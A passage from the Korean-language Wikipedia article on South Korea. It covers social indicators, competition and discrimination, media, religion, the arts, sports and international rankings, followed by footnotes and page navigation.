해당하였으며, 이 같이 높은 사회 갈등에 따른 비용으로 국내총생산(GDP)의 27%인 약 300조원을 지출하고 있는 것으로 나타났다.[73] 대한민국의 소통 지수는 2011년 아시아포럼21이 조사한 결과 100점 만점 중 이명박 정부의 소통 지수는 45.8점, 한나라당의 소통 지수는 42.6점, 기성세대와 젊은세대 간 소통 지수는 36.2점으로 모두 50점 이하인 걸로 나타났다.[74] 사회 지표 삶의 질 삶의 질은 2011년 8월 21일 기획재정부가 한국개발연구원(KDI)에 의뢰해 순위를 매긴 결과, 경제협력개발기구(OECD)와 주요 20개국(G20) 회원국 39개국 가운데 27위에 그친 것으로 나타났다. 대한민국의 삶의 질은 지난 2000년과 2008년 모두 27위로 하위권에 머물렀었다.[75] 행복 지수 행복지수는 OECD 평가 국민 행복도에서는 34개 나라 중 26위, 영국 NEF재단의 행복도 조사 결과에서는 68위, 미국 포브스의 행복순위 조사 결과에서는 56위, MBN과 매일경제신문의 국민 행복지수 조사에서는 5점 만점에, 3.4점으로 해외 평가선 낙제점을 겨우 면한 수준으로 나타났다.[76] 어린이·청소년 행복지수는 한국방정환재단과 연세대 사회발전연구소가 2011년 3월 ~ 4월 간 조사한 결과 OECD 23개 회원국 중 23위로 최하위에 해당하였다.[77] 이혼율 이혼율은 OECD 국가 중 2000년 8위[78], 2001년 4위[79],[80] 자살률 대한민국의 자살 문서를 참고하십시오. 대한민국의 자살률은 전 세계 6위이다.[81] 그 외 사회복지 지출은 34개국 중 33위이나 사회복지 지출 증가율은 34개국 중 4위로 나타났다. 부패지수는 30개국 중 22위(부패지수가 높을 수록 청렴하다.), 공동체 구성원 간 신뢰도는 19개국 중 13위, 법치에 대한 인식은 34개국 중 25위로 나타났다.[48] 심리 인종 차별이 다른 아시아 국가에 비해서 유독 심하며, 백인은 차별이 거의 없으나, 흑인 및 황인은 오히려 차별을 당하는 경우가 많다.[82] 또한, 한국어를 모르는 아프리카 및 동남아시아 사람들에게도 차별 대우를 하는 경우가 있으며, 유럽 같은 경우에는 차별이 그렇게 심하지 않다. 경쟁 심리도 심각하다. 대한민국은 어려서 부터 성적, 경쟁 위주의 교육과 문화 속에서 성장하게 함으로써 경쟁과 그 속에서 살아남는 법을 배우게 한다. 이에 따라 남과 나를 비교하며 오직 높은 곳만을 추구하게 되는데, 이는 성인이 되어서 학력위주 경쟁, 스펙위주 경쟁, 실적위주 경쟁, 외모지상주의, 물질만능주의 등으로 획일화 된다.[83][84][85][86] SBS와 한국갤럽이 2011년 천 명을 대상으로 설문조사한 결과, 우리 사회의 경쟁 수준은 평균 76점으로 10년 전보다 20점 가까이 높아져 경쟁이 계속 가속화 됨을 보여주었으며, 국민 10명중 8명이 "과도한 경쟁에 부담을 느낀다"고 대답하여 상당수가 부담감을 느끼는 것으로 나타났다.[84][87] 경쟁은 모두를 스트레스 속에 놓이게 하며, 장기간 스트레스는 매우 예민해지게 만들고, 분노, 불면증, 우울증 등의 신체·정신적 증상을 동반하게 된다.[88] 그래서 이를 담당하는 정신과 진료와 심리 상담 치료의 횟수가 늘어나고 있으나, 여전히 언덕위의 하얀집으로 불리는 등 차별의 대상이 되고있어 상당수가 기피하는 실정이다.[89][90][91] 또 경쟁은 다수의 패배자를 생산하게되는데, 이는 다수의 자존감 저하와 수치심, 분노심 상승의 원인이 되고있다.[83][84] 결국 사회 전반의 동질성 추구와 이질성 거부 심리, 경쟁 심리는 복합적으로 작용하여 외국인 차별, 왕따, 학교 폭력, 인터넷 악플 등으로 표출되고 있으며, 이에 따른 피해로 정신 이상자의 수를 늘리거나, 그런 정신 이상자를 방치하게 되어 자살자를 늘리거나, 사회에 불만을 품고 불특정 다수에게 행하는 묻지마범죄의 수를 늘리는 결과를 가져오고있다.[92][93] 이에 유엔 아동권리위원회는 2011년 10월 '대한민국 3, 4차 정부보고서에 대한 아동의 권리에 관한 협약 최종 견해'라는 보고서를 통해 학생의 성적에 따른 차별과 경쟁적인 교육체제에 대해 지적하며 개선을 요구하였다.[94][95] 대응 학력 차별에 대한 대응으로 이명박 대통령은 2011년 라디오 연설에서 '학력차별 없는 사회'를 강조하였으며, 고용노동부가 고등학교 직업 교육에 지원을 강화하는 등 능력 중심의 열린 고용 지원에 나서고 있다.[96] 하지만 백혈병이 생겨 산업 재해로 인정 받는 학생이 나오는 등 고등학교 현장 실습이 노동력 착취 수단으로 이용되는 경우가 많은 상황이다.[97] 2011년 정부에 의해 명칭을 '정신과'에서 '정신건강의학과'로 변경하는 등 다양한 진료를 하는 분야임을 알리기 위한 시도를 하고 있으며,[98] 남녀 심리,치료,범죄 심리 등 다양한 방송 프로그램 주제로 사용하거나,[99] 교수가 직접 매체로 나와 강의를 하는[100] 등 대중에게 다가가기 위한 노력을 지속하고 있다. 이러한 결과로 과거 대학교의 비인기 학과였던 '심리학과'가 상위 경쟁률을 기록하고, 관련 주제의 책이 대거 출간되고, 베스트 셀러에 오르는 등 인기가 높아지고 있다.[99] 여가 한국콘텐츠진흥원이 2011년 발표한 자료에 따르면 대한민국 국민 전체의 여가 시간에 즐기는 활동 중 게임이 29.9%로 가장 높았다. 연령별 연령별로는 30대 미만의 경우 역시 게임이 가장 높게 나타났다. 반면 30대 이상 연령층은 영화와 TV 시청을 선호하는 것으로 나타났다. 스크린 다이제스트의 자료에 따르면 대한민국 1인당 영화 관람 횟수는 2013년 4.12편으로 미국의 3.88편을 제치고 세계에서 영화를 가장 많이 보는 것으로 나타났다.[101] 자신의 여가생활에 대한 불만족 이유들로는 ‘시간 부족’ 비율이 45.9% 였고, 그 다음으로는 ‘경제적 부담’이라는 이유가 45.6%로 나타났다.[102] 문화 이 부분의 본문은 한국의 문화입니다. 1948년 이전 한반도를 중심으로 한 한민족의 문화에 관해서는 한국의 문화 문서를 참고하십시오. 강릉 경포대 서당(書堂), 단원풍속도첩(檀園風俗畵帖), 종이에 담채, 1780년경 김홍도 작. 한국은 반도에 있는 지리적 조건으로 대륙 문화와 해양 문화의 영향을 모두 받았다. 고대의 한국 문화는 시베리아, 중앙아시아의 북방계와 동남아시아의 남방계가 혼합된 바탕에 중국 등 이웃 나라에서 들어온 외래 문화와 한국 고유의 독자적 문화와 융합하여 발전했다. 언어 이 부분의 본문은 한국 § 언어와 문자입니다. 훈민정음(訓民正音) 관습적인 공용어이자 법적인 공용어는 한국어로, 그 계통이 학계에서 확증되지 않은 고립된 언어이지만 많은 학자들이 알타이어족과 연관성 있음을 주장한 바 있고, 특히 많은 한국인 학자들은 한국어가 알타이어족에 속한다고 보고 있다. 한국어 표기에 쓰이는 문자인 한글은 세종대왕이 원로대신들의 반대를 무릅쓰고 언문청(諺文廳) 또는 정음청(正音廳)을 설치하여, 훈민정음이라는 명칭으로 1446년 반포하였다. 한글은 각 자음과 모음이 하나의 기호로 표시되고, 그 자음과 모음을 모아써서 소리를 나타내는 표음문자이다. 한글의 자음은 발음기관의 모양을 본뜨고 모음은 천(하늘:ㆍ),지(땅:ㅡ),인(사람:ㅣ)을 나타내는 각 부호의 조합으로 만든, 세계에서 유일하게 그 창제 원리가 밝혀진 문자이다. 한글 창제 이전에는 삼국 시대 혹은 그 이전부터 써왔던 한자와 이를 당시의 한국인이 쓰던 입말에 맞는 한자의 소리만 따서 문자로 표기한 향찰, 구결, 이두 등이 한국어 기록 수단이었다. 한자는 훈민정음 창제 이후에도 양반층 및 관공서에서 계속 써왔으며, 1894년 갑오개혁 이후에야 비로소 공문서에 한글을 쓰기 시작했다. 일부에서는 글의 이해를 돕는다는 측면에서 한글 대신 한자로 직접 표기하기도 한다. 1962년 3월 1일 박정희 대통령의 한글전용정책이 시행되면서 표기문자의 주류로 등장했고, 현재 한자 표기는 중의적 표현을 막기 위해 부수적으로 쓰고 있다.(한글맞춤법 참고) 초등학교 3학년부터 중학교, 고등학교에서는 영어를 제1외국어로 의무 교육으로 가르치고 있으며, 대한민국에서 교육하는 영어는 미국식 영어를 기준으로 하고 있다. 중학교에서부터 선택하여 배울 수 있는 제2외국어로는 중국어, 프랑스어, 독일어, 일본어, 스페인어, 러시아어, 아랍어 등의 7개 언어가 있다. 고등학교에서도 제2외국어를 배울 수 있으며, 대학수학능력시험때 수험생이 제2외국어를 선택할 수도 있다. 특히 일본어와 중국어는 대한민국 국민들이 가장 많이 배우는 제2외국어이기도 하다.[103] 언론 이 부분의 본문은 대한민국의 언론입니다. 대한민국 헌법에 의하면 언론의 자유를 인정하는 것과 더불어 집회, 결사, 표현의 자유를 허용하고 있다. 대한민국의 일간 신문은 크게 전국지와 지방지로 나뉜다. 전국지는 대한민국 전국을 대상으로 발행되며, 지방 소식을 전달하기 위해 일부 지면을 할애한다. 지방지는 특정 지역에 연고를 둔 신문으로 전국적인 뉴스를 다루기도 하지만 주로 해당 지역의 뉴스를 다룬다. 전국지로는 조선일보, 중앙일보, 동아일보 등의 보수적인 신문, 이른바 '조중동'과, 한겨레, 경향신문 등의 진보적인 신문, 이른바 '한경오'으로 분류되고 있다. 2008년 한국언론재단에서 조사한 자료에 따르면 시장점유율은 조선일보 11.9%, 중앙일보 9.1%, 동아일보 6.6%, 경향신문 2.7%, 한겨레신문 1.7% 의 순으로 나타나고 있다.[104] 특정 분야를 전문적으로 다루는 전문지들도 있으며, 크게 경제에 관련된 소식을 다루는 경제지와, 스포츠와 연예계 소식을 다루는 스포츠지를 들 수 있다. 한편 주요 도시의 공공시설에서 출근 시간대에 무료로 배포되는 무가지가 존재하며,[105] 인터넷 매체를 통한 인터넷 신문도 존재한다. 2008년 기준 대한민국 일간지의 수는 약 288종, 주간지의 수는 약 2,896종, 월간지의 수는 약 3,293종, 격월간지의 수는 약 459종, 계간지의 수는 약 981종, 년 2회의 수는 약 325종, 인터넷 신문의 수는 약 1,040종 정도가 있다.[106] 방송의 경우 지상파 텔레비전 방송, FM라디오 방송, AM라디오 방송, 단파 라디오 방송, 케이블 방송, 디지털위성방송, 지상파 DMB 방송 등이 있다. 현재 전국 단위 지상파 방송으로 국공영 방송인 한국방송공사(KBS)와 준공영방송인 문화방송(MBC)이 있다. 지역 단위 지상파 민영 방송으로는 한국방송공사와 문화방송(MBC)을 중심으로 한 계열과 서울지역의 지역민영방송인 에스비에스(SBS)를 중심으로 한 SBS 네트워크 계열이 있으며, 그외 독자적인 지방 민영방송인 경인지역의 경인TV가 있다. 그외 한국교육방송공사법에 따른 공영방송인 한국교육방송공사(EBS)이 지상파 방송으로 있다. 종합편성채널 4사로는(JTBC, MBN, 채널A, TV조선)와 보도 채널인 연합뉴스TV와 YTN 등 2개의 보도 채널이 존재하며, 케이블TV 최대 PP사업자인 CJ E&M과 티캐스트도 있다. 라디오 방송의 경우 지상파 방송사인 KBS, MBC, SBS, EBS가 점유하는 주파수와 기타 기독교방송(CBS), 극동방송(FEBC), 불교방송(BBS), 평화방송(PBC), 원음방송(WBS) 등 종교방송의 주파수, 교통안내 전문 방송인 교통방송(서울은 TBS, 기타 지역은 TBN 한국교통방송), 국악 전문의 국악방송, 그리고 국방홍보 목적의 국군방송 등의 여러 방송사가 존재한다. 대한민국은 미국에 이어 세계에서 두 번째로 인터넷이 연결된 나라이며, 세계 최고 속도의 인터넷 속도를 보유하고 있다. 높은 초고속 인터넷 보급률과 인터넷 이용률을 보이는 대한민국은 2000년 초중반 인터넷 신문을 표방한 오마이뉴스, 프레시안 등의 등장과 함께 인터넷 신문과 포털사이트를 중심으로 한 인터넷 언론 매체가 두각을 나타내고 있다. 이런 인터넷 언론 매체들은 인터넷 매체 특유의 신속성과 높은 접근성 등을 강점으로 대한민국 사회에서 여론 형성에 상당한 위력을 보이고 있다. 참고로 단순 뉴스 전달자에 불과했던 포털사이트가 하나의 언론세력으로 성장하는 변화를 보임에 따라, 대한민국 정부는 인터넷 신문사, 포털사이트를 언론 기관으로 보고 법적 규제를 마련했다.[107] 종교 종교 구성 (2015년 인구주택 총 조사)[108] 종교없다    56.1% 불교    15.5% 개신교    19.7% 천주교    7.9% 기타    0.8% 경주 석굴암 이 부분의 본문은 대한민국의 종교입니다. 대한민국에는 고대로부터의 전통적인 토착신앙으로서 무교(무속신앙)이 있다. 불교와 유교는 오래전 삼국시대부터 유입되었으며, 불교는 5세기부터 14세기 말(삼국시대 및 고려시대)에 이르는 약 1천 년 동안 한반도에서 융성하여 많은 사찰과 문화유산을 남기고 현재 단일 종교로는 대한민국에서 가장 신도수가 많다.[109] 14세기 말 조선에서는 유교가 국교로 지정되었다. 그러나 현재는 유교를 학문과 사상, 가치관 그리고 철학으로서 배우는 사람은 있으나 신앙의 대상으로 삼는 사람은 그다지 많지 않다. 유교는 현재까지도 한국인들의 풍습이나 습관, 습성, 가치관, 사상, 생활 방식 등에 많은 영향을 미치고 있다. 기독교의 경우 천주교는 조선 후기에 이승훈 등에 의해 서학이라는 이름으로 전파되었으며[110], 그 교세가 확장되자 병인박해, 신유박해 등 대규모 박해 사건이 일어난 일 때문에 프랑스의 병인양요가 일어난 계기가 되어 조선 정부의 탄압이 거세졌다. 당시의 순교자 중 103명이 로마 가톨릭교회에서 시성되어 성인이 되었다. 19세기 말부터 20세기 초 사이에 미국의 개신교 선교사들의 선교활동으로 학교와 개신교 교회들이 세워졌다. 이 시기에 감리교, 장로회 등의 개신교, 성공회, 정교회 선교사가 파송됨으로써 전파되었고 양적인 성장이 있었다. 대한민국의 기독교 역사는 비록 짧으나 빠른 속도로 발전하여 현대 사회에 큰 영향을 발휘하고 있으며 전 세계적인 종교활동 및 선교가 활발하다. 현재 성공회, 천주교와 정교회, 개신교를 합친 기독교 인구는 전 종교 중에서 가장 많다. 그 밖에 천도교(동학), 대종교, 원불교, 증산도, 통일교 등 여러 신흥 종교가 19세기에서 20세기에 이르는 기간 한국에서 창시되어 현재까지 신봉되고 있다. 예술 문학 이 부분의 본문은 한국 문학입니다. 음악 이 부분의 본문은 한국의 음악입니다. 대표적인 대한민국의 전통 민요로는 아리랑을 들 수 있고, 그 밖에 지방마다 다른 민요가 있다. 대한민국의 많은 가수들이 동아시아와 동남아시아권에 널리 알려져 있으며, 대한민국의 대중음악 시장(K-POP)은 지속적으로 발전하고 있다. 대표적인 K-POP가수로는 보아, 동방신기, 슈퍼주니어, 소녀시대, 샤이니, 비스트 , 티아라, 인피니트등이 있다. 또한 2012년에는 싸이(박재상)의 '강남스타일(Gangnam Style)'로 세계에 강남스타일 열풍을 불러일으켰으며, 이 노래는 원더걸스의 Nobody 이후, 미국 빌보드 차트에 2위까지 올랐다. 미술 이 부분의 본문은 한국 미술입니다. 한국 미술은 약 기원전 7천여년전 신석기 시대부터 시작되었다. 고조선 시기에는 제의를 위해 만들어진 비파형 동검, 동경 (거울), 방울에서 그 예를 찾아볼 수 있다. 삼국 시대에는 왕족과 귀족을 위한 예술이 등장하였는데, 고구려의 고분벽화, 백제의 금동대향로, 신라의 금관이 대표적이다. 이후 고려시대에는 도자기의 일종인 고려 청자와 먹으로 그리는 문인화가 발달했다. 조선 시대 때부터 양반 사대부들을 성리학에 기반한 문화를 발전시켰으며, 이들은 문인화와 백자를 선호하였다. 이들 문화는 다분히 사대주의적이었으나, 영조와 정조 시대에는 정선, 김홍도, 신윤복 등의 화원들이 나타나 특색 있는 미술을 만들었다. 동시에 조선시대에는 서민적인 미술인 민화가 발달했다. 그 후 대한제국기와 일제 강점기를 거치면서 일본 유학생을 중심으로 서양 고전 미술과 모더니즘 미술이 도입되었고, 해방 이후 미국, 프랑스, 독일로 유학을 떠났다 돌아온 유학생들이 현대 미술을 시도하였다. 현대 한국 미술은 서양적 기술과 재료를 바탕으로한 혼합된 서양화가 주를 이루고 있지만, 서예, 동양화와 같은 전통미술 역시 명맥을 이어나가고 있다. 한편 백남준은 독창적인 비디오 아트를 선보여 한국 출신 작가 중 가장 전세계적으로 잘 알려진 예술가가 되었다. 하지만 한국 순수미술 분야는 국내외적으로 관심을 받지 못하고 있다. 반면 건축, 그래픽디자인, 산업디자인, 게임 같은 상업미술 분야에서는 점차 주목받고 있다. 스포츠 이 부분의 본문은 대한민국의 스포츠입니다. 한국의 스포츠는 고대부터 무술에 근거한 체육 활동이 발달했으며, 특히 대한민국의 국기(國技)인 태권도는 올림픽 정식 종목에 채택되기도 하였다. 태권도 이외에도 한국 전통 무술(스포츠)인 궁술(국궁), 택견, 씨름이 있다. 대한민국은 1948년 하계 올림픽부터 올림픽에 참가했다. 또 1988년 하계 올림픽을 서울에 유치하였으며, 금메달 12개, 은메달 10개, 동메달 11개를 획득하여 종합 4위를 기록하였다. 올림픽에서 대한민국이 강세를 보이는 종목으로는 양궁, 사격, 탁구, 배드민턴, 쇼트트랙, 핸드볼, 유도, 태권도, 역도가 있으며, 최근 20년간 하계 올림픽의 경우 시드니 올림픽을 제외하면 메달 종합 10위 이내의 성적을 올렸다. 특히 2012년 하계 올림픽에서는 종합 5위에 오르는 기염을 토하기도 하였다. 동계 올림픽의 경우 2018년 동계 올림픽을 개최하기도 했으며, 2010년 동계 올림픽에서 대한민국은 종합 5위를 기록하며 최고 기록을 세웠다. 대한민국은 또한 1986년 아시안 게임과 2002년 아시안 게임, 2014년 아시안 게임등을 개최했으며, 종합 1위는 1995년 동계 유니버시아드, 2007년 동계 유니버시아드에서 차지한 적이 있다. 실제로 즐겨하는 생활스포츠 그리고 국가대표팀 경기와 프로 경기 포함 TV로 가장 즐겨보는 스포츠 등 각종 부분에서는 축구가 최고 인기 스포츠로 선정되고 있으며[111][112] 축구, 야구, 농구, 배구, e스포츠, 바둑의 6개의 종목이 프로 리그를 갖추고 있다. 프로 리그에서 인기 종목으로는 야구와 축구 등이 꼽히며, 한국의 발전에 밑거름에 이어 근래에는 국제 대회에서 좋은 성적을 거둔다. 축구는 2002년 FIFA 월드컵을 일본과 공동 개최하며 대회 4위에 오른 적이 있다. 2010년 FIFA 월드컵에서는 원정 16강에 성공하였으며, 2018년 대회까지 아시아에서 유일하게 10회 연속 월드컵 본선에 진출했다. 2012년 하계 올림픽 축구에서는 동메달을 따기도 했다. 야구는 2008년 하계 올림픽에서 우승, 2009년 월드 베이스볼 클래식 준우승, 2015년 WBSC 프리미어 12 우승의 경력이 있다. 1990년대 말 게임 및 전자 산업의 발전과 더불어 성장한 e스포츠는 2001년 '한국e스포츠협회' 창립 후 선수 관리, 경기 규칙, 대회 방식이 체계화 되어 누구나 쉽게 참여할 수 있는 대중 스포츠로서 자리를 잡았다. 2004년부터 파트 3 경마국으로 지정되었다. 2009년 대한민국의 서러브레드 경주마 생산은 1000여 마리였다[113]. 경기도 과천시, 경상남도 김해시와 부산광역시 강서구, 제주도에 경마공원이 있고 32개의 KRA 플라자(장외 마권 발매소)가 있다. 한편 대한민국이 개최했거나 개최 예정인 스포츠 대회는 다음과 같다. 올림픽 1988년 서울 하계 2018년 평창 동계 FIFA 월드컵 2002년 한국/일본 월드컵 2007년 U-17 월드컵 2017년 U-20 월드컵 세계 육상 선수권 대회 2011년 대구 아시안 게임 1986년 서울 하계 1999년 강원 동계 2002년 부산 하계 2014년 인천 하계 AFC 아시안 컵 1960년 한국 세계 수영 선수권 대회 2019년 광주 유니버시아드 1997년 무주-전주 동계 2003년 대구 하계 2015년 광주 하계 F1 코리아 그랑프리 세계 조정 선수권 대회 2013년 충주 한류 이 부분의 본문은 한류 (문화)입니다. 한류(韓流, Korean wave)는 대한민국의 대중문화가 주로 아시아를 중심으로 외국에서 대중성을 가지게 되는 것을 말한다. 1997년 무렵부터, 문화 수출국을 목표로 하는 대한민국의 국책을 배경으로, 2000년 전후부터 대한민국 드라마가 아시아의 여러 나라들에서 방송되었다. 그 후 중화인민공화국이나 일본에서도 한국의 대중 문화가 널리 유입되어 이 용어가 널리 사용되게 되었다. 공휴일 대한민국의 공휴일 문서를 참고하십시오. 국제 순위 이 부분의 본문은 대한민국의 국제 순위입니다. 평가기관 항목 순위 조사 시기 프리덤하우스(세계인권단체) 정치인권 및 시민자유 부분적 자유(Partly Free)[114] 2012년 국경 없는 기자회 인터넷 통제 인터넷 감시 대상국[115] 2012년 스위스 국제경영개발원(IMD) 국가 경쟁력 59개국 중 22위[71] 2012년 Clarkson PLC 사 조선산업 경쟁력 15개국 중 1위[116] 2012년 통계청(OECD국가들 중) 선박 건조량 30개국 중 1위[117] 2013년 아카마이 인터넷 평균 속도 226개국 중 1위[118] 2012년 옥스퍼드대학교, 오비에도 대학교 초고속 인터넷 품질 66개국 중 1위[119] 2012년 세계 경제 포럼(WEF) 정보통신 활용도 138개국 중 1위[120] 2012년 세계은행 관세행정 61개국 중 1위[121] 2012년 OECD 교통사고 사망률 31개국 중 2위[122] 2014년 OECD 결핵 사망률 30개국 중 1위[123] 2014년 OECD 제왕절개분만률 1위[124] 2005년 WHO(세계) 10만 명당 자살률 전 세계 1위[81] 2011년 OECD 청소년 자살률 OECD 회원국 중 1위 2013년 OECD 청소년 행복지수 OECD 회원국 중 34위 2013년 관련 항목 대한민국 정부 대한민국의 역사 대한민국의 주요 노동운동 대한민국의 문화 대한민국의 자연 대한민국의 요리 한반도 평화협정 대한민국의 통일 조선민주주의인민공화국 한국 한국 전쟁 대한민국의 자살 동북아 균형자론 대한민국의 기업 목록 대한민국의 공휴일 각주 ↑ 가 나 다 Report for Selected Countries and Subjects-Korea, International Monetary Fund, 2017-04-15 확인. ↑ 가 나 “Human Development Index and its components: P.198” (PDF). United Nations Development Programme. 2016. 2016년 5월 4일에 확인함.  ↑ 약칭으로 RK라는 표현도 있으나, 잘 쓰이지 않는다. ↑ “http://www.law.go.kr/%EB%B2%95%EB%A0%B9/%EB%8C%80%ED%95%9C%EB%AF%BC%EA%B5%AD%EA%B5%AD%EA%B8%B0%EB%B2%95”. 2018년 7월 6일에 확인함.  |title=에 외부 링크가 있음 (도움말) ↑ "한국은 국제법상 한반도 유일 합법정부 아니다" - 오마이뉴스 모바일 ↑ Ian Brownlie, Principles of Public International Law(1990), p.97. ↑ 92헌바6, 1997.1.16 ↑ 2016헌바361 ↑ 가 나 Report for Selected Countries and Subjects: South Korea, IMF, 2015-04-15 확인. ↑ http://data.worldbank.org/about/country-classifications/country-and-lending-groups#OECD_members ↑ '민국'(民國)이란 근대 개화기 당시 영어 단어인 Republic의 역어로 만들어진 단어이다. 즉, 단순히 지금의 공화국이라는 뜻이다. 중화민국이 처음으로 사용하였다. 한편 민국처럼 영어 단어인 Monarchy를 번역한 언어로 '군국'(君國)이라는 용어도 만들어져 잠시 사용된 적이 있다. ↑ 격동의 역사와 함께한 조선일보 90년 : 조선일보 인수해 혁신시킨 신석우, 임시정부 때는 '대한민국' 국호(國號) 정해 《조선일보》2010-01-08 ↑ 송승표, 《우리가 몰랐던 우리 역사: 나라 이름의 비밀을 찾아가는 역사 여행》, 학민사, 2013년 12월 10일. ↑ "정식 국호는 '대한민국'이나 사용의 편의상 '대한' 또는 '한국'이란 약칭을 쓸 수 있되 조선민주주의인민공화국과의 확연한 구별을 짓기 위하여 '조선'은 사용하지 못한다. '조선'은 지명으로도 사용하지 못하고 '조선해협', '동조선만(東朝鮮灣)', '서조선만(西朝鮮灣)' 등은 각각 '대한해협', '동한만', '서한만' 등으로 고쳐 부른다." ↑ 김정선 기자 (2005년 11월 29일). “남북 공식호칭 ‘남한’‘북한’으로 쓴다”. 경향신문.  ↑ 민종원 기자 (2008년 7월 28일). “Corea 대 Korea, 누가 이긴 거야?”. 오마이뉴스.  ↑ 가 나 《역사와 현실》, 〈국호영문표기, Corea에서 Korea로의 전환과 의미〉, 이영호, 2005년 12월, 한국역사연구회 ↑ 단 대한민국 헌법 제3조는 "대한민국의 영토는 한반도와 그 부속도서로 한다"고 규정하여 헌법상 북한 지역을 개별 국가로 인정하지 않고 있어 남북 관계는 아주 특수한 관계로 되어 있다. ↑ 가 나 다 국내기후자료 - 한국, 대한민국 기상청 ↑ Selig S Harrison, 《Seabed Petroleum in Northeast Asia: Conflict or Cooperation?》, Woodrow Wilson International Center for Scholars, 2005 ↑ 근대 한국을 가르는 기준은 1862년 고종의 즉위식, 1876년 강화도 조약에 따른 개항 이후, 1897년 대한제국의 선포 이후, 1948년 대한민국 정부 수립 이후 등 여러 이견이 있다. ↑ http://www.munhwa.com/news/view.html?no=1997041813000401 5.18 내란 사건 대법원 판결문 요지 ↑ [김대중 前 대통령 서거] 과감한 구조개혁 'DJ노믹스'로 최단기간 환란극복 :: 네이버 뉴스 ↑ http://www.pressian.com/article/article.asp?article_num=40080218172720&Section= '이라크통' 한병도 의원 "당선인 신분 망각했다" ↑ 강훈상 특파원. 김종수 기자 (2008년 2월 22일). “이라크 "韓-쿠르드 유전개발 MOU 승인 안해"(종합)”.  ↑ 비례대표 3명을 제외할 경우 25석이 된다. ↑ http://www.index.go.kr/com/cmm/fms/FileDown.do?apnd_file_id=1041&apnd_file_seq=16 ↑ 가 나 대법원 1990.9.25. 선고 90도1451 판결 ↑ 김연숙 기자 (2010년 9월 23일). “해외 우리국민 추방사례 43%가 일본”. 연합뉴스. 2010년 9월 29일에 확인함.  ↑ 2010년판 국방백서 부록3 "남북 군사력 비교" 271쪽. 2013년 2월 기준 ↑ 2010년판 국방백서 부록2 "세계 주요 국가의 국방비 비교" 270쪽. 2009년 기준 ↑ http://media.daum.net/society/newsview?newsid=20121113110214725 육군 3사관학교 여생도 뽑는다-내년까지 여군 활용 직위 재검토. 연합뉴스. 2012.11.13 11:02 ↑ 2012년판 국방백서 <도표 3-2> "육군의 주요 조직과 보유 전력" 41쪽 ↑ 차기전차 K2'흑표'의 세계 최고 전력 분석, 쿠키뉴스 엄기영, 2007-03-02 ↑ 두산인프라, 헬기잡는 장갑차 'K21'...내년부터 공급, 고뉴스 이대준, 2008-10-30[깨진 링크(과거 내용 찾기)] ↑ 수도, 8, 11, 20, 26, 30 ↑ 가 나 2010년판 국방백서 <도표 3-3> "해군의 주요 조직과 보유 전력" 42쪽 ↑ 1973년 이후~ : 강준만, 《한국현대사산책: 1970년대편》(2권) 15~22쪽 참조. ↑ “mk 뉴스 - 구매력 기준으로 보면 한국 1인당 소득 3만弗”. 2013년 12월 18일에 원본 문서에서 보존된 문서. 2010년 6월 6일에 확인함.  ↑ "The N-11: More Than an Acronym" Archived 2008년 9월 11일 - 웨이백 머신 - Goldman Sachs study of N-11 nations, Global Economics Paper No: 153, 2007년 3월 28일. ↑ 조선일보 최우석, 2008-11-01 ↑ Global 500 2008: Countries - South Korea ↑ 김병권 (2012년 1월 17일). “몇년째 '시한폭탄'... 가계부채, 올해는 터질까”. 오마이뉴스.  ↑ 가 나 다 라 가구당 부채 5000만원 처음 넘어서 문병기《동아일보》2011-11-12 ↑ 신건웅 기자 (2012년 2월 4일). “‘빚’으로 내몰리는 사회.. 위기의 가계대출”. 아시아투데이.  ↑ 하대석 기자 (2012년 1월 30일). “[경제365] 공공부문 부채 급증…800조 육박”. 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외부 링크깨진 링크를 가지고 있는 문서준보호 문서영어 표기를 포함한 문서중국어 정체자 표기를 포함한 문서중국어 간체자 표기를 포함한 문서중국어 표기를 포함한 문서일본어 표기를 포함한 문서베트남어 표기를 포함한 문서출처가 필요한 글/2018년 7월출처가 필요한 모든 글문단에 출처가 필요한 글출처가 필요한 글출처가 필요한 글/2017년 7월출처가 필요한 글/2019년 2월낡은 정보를 포함한 문단빈 문단이 포함된 문서위키낱말사전과 연결된 문서VIAF 식별자를 포함한 위키백과 문서LCCN 식별자를 포함한 위키백과 문서ISNI 식별자를 포함한 위키백과 문서GND 식별자를 포함한 위키백과 문서BNF 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기원본 보기역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용위키뉴스 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 AcèhAfrikaansAlemannischአማርኛAragonésÆngliscالعربيةمصرىঅসমীয়াAsturianuAzərbaycancaتۆرکجهБашҡортсаBoarischŽemaitėškaBikol CentralБеларускаяБеларуская (тарашкевіца)‎БългарскиभोजपुरीBislamaবাংলাབོད་ཡིགবিষ্ণুপ্রিয়া মণিপুরীBrezhonegBosanskiᨅᨔ ᨕᨘᨁᨗБуряадCatalàChavacano de ZamboangaMìng-dĕ̤ng-ngṳ̄НохчийнCebuanoᏣᎳᎩکوردیQırımtatarcaČeštinaKaszëbscziСловѣньскъ / ⰔⰎⰑⰂⰡⰐⰠⰔⰍⰟCymraegDanskDeutschZazakiDolnoserbskiडोटेलीދިވެހިބަސްཇོང་ཁEʋegbeΕλληνικάEnglishEsperantoEspañolEestiEuskaraEstremeñuفارسیSuomiVõroFøroysktFrançaisArpetanNordfriiskFryskGaeilgeGagauz贛語GàidhligGalegoAvañe'ẽगोंयची कोंकणी / Gõychi KonknniગુજરાતીGaelgHausa客家語/Hak-kâ-ngîHawaiʻiעבריתहिन्दीFiji HindiHrvatskiHornjoserbsceKreyòl ayisyenMagyarՀայերենInterlinguaBahasa IndonesiaInterlingueIñupiakIlokanoГӀалгӀайIdoÍslenskaItaliano日本語PatoisLa .lojban.JawaქართულიQaraqalpaqshaTaqbaylitАдыгэбзэKabɩyɛKongoGĩkũyũҚазақшаKalaallisutភាសាខ្មែរಕನ್ನಡКъарачай-малкъарKurdîКомиKernowekКыргызчаLatinaLadinoLëtzebuergeschЛезгиLingua Franca NovaLimburgsLigureLumbaartLingálaລາວلۊری شومالیLietuviųLatviešuमैथिलीMalagasyОлык марийMāoriBaso MinangkabauМакедонскиമലയാളംМонголमराठीBahasa MelayuMaltiမြန်မာဘာသာمازِرونیDorerin 